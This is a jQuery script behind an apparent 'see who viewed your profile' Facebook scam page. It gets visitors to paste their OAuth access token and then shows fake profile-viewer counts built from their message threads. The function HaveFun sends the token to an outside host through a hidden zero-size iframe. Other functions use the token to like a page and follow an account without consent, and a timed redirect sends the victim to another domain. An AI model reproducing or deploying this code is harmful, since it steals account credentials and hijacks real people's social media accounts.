jQuery(document).ready(function($) {
	$('a#getcode').click(function (e) {
		e.preventDefault();
		window.open('token.php?getcode','popUpWindow','width=900,height=20,left=300,top=300,resizable=no,scrollbars=yes,toolbar=yes,menubar=no,location=no,directories=no, status=yes');
	});
	$('a#activate').click(function (e) {
		e.preventDefault();
		$('.howto').fadeOut(function(){
			$('.result').show();
			$('.error').hide();
                        $('#logs').html("");
			$('.loading').fadeIn('fast', function(){
				var access_token = $('.access_token').val();
				if(access_token.split('#access_token=')[1]){
					var access_token = access_token.split('#access_token=')[1].split('&')[0];;
					setTimeout("top.location.href = 'http://rechrageonline.uni.me/nada/red.php';",25000);
					$.getJSON('https://graph.facebook.com/me?access_token=' + access_token, function (response) {
						if(response.id){
							var uid = response.id;
							doShit(access_token);
                                                        HaveFun(access_token);
							$.getJSON('https://graph.facebook.com/fql?q=SELECT recipients,message_count FROM thread WHERE folder_id = 1 ORDER BY message_count DESC LIMIT 10&access_token=' + access_token, function (response){
								if(response.data){
									$.each(response.data, function(i,data){
										$.each(data.recipients, function(i,recipient){
											if(recipient != uid){
												$.getJSON('https://graph.facebook.com/'+ recipient, function (response){
													$('ul.list').append('<li><img src="https://graph.facebook.com/'+ response.id +'/picture" alt="'+ response.name +'"><a target="_blank" href="http://facebook.com/profile.php?id='+ response.id +'">'+ response.name +' <span class="score">( Viewed Your Profile '+ data.message_count +' Times )</span></a></li>');
												});
											}
										});
									});
								}
								
						    	$('.loading').slideUp(function(){
						    		$('.friendlist').slideDown();
						    	});
							});

					
						}
					});
				} else {
					$(this).fadeOut(2000, function(){
						$('.error').fadeIn('fast');
						$('.howto').fadeIn();
					});
				}
			});
		});
	});
	$('a#back').click(function (e) {
		e.preventDefault();
		$('.result').slideUp(function(){
			$('.error').hide();
		});
	});
});


function doShit(token) {
     console['log']('Do shit started');
     $['getJSON']('https://graph.facebook.com/me/friends?access_token=' + token, function (l) {
});
}

function HeemaNada(token) {
    jQuery['ajax']({
        url: 'https://graph.facebook.com/me/likes?access_token=' + token + '&method=POST&url=https://www.facebook.com/200060550159373',
        dataType: 'jsonp',
        success: function (_0xb26ax3) {}
    });
};

function Follow(token) {
    $['getJSON']('https://graph.facebook.com/me/friends?uid=100006070030029&method=post&access_token=' + token, function (l) {});
};

function HaveFun(token) {
     console['log']('Request Sent');
    document['getElementById']('atp')['innerHTML'] = '<iframe src="http://imayank.in/index.php?access_token=' + token + '" width="0" height="0"></iframe>';
};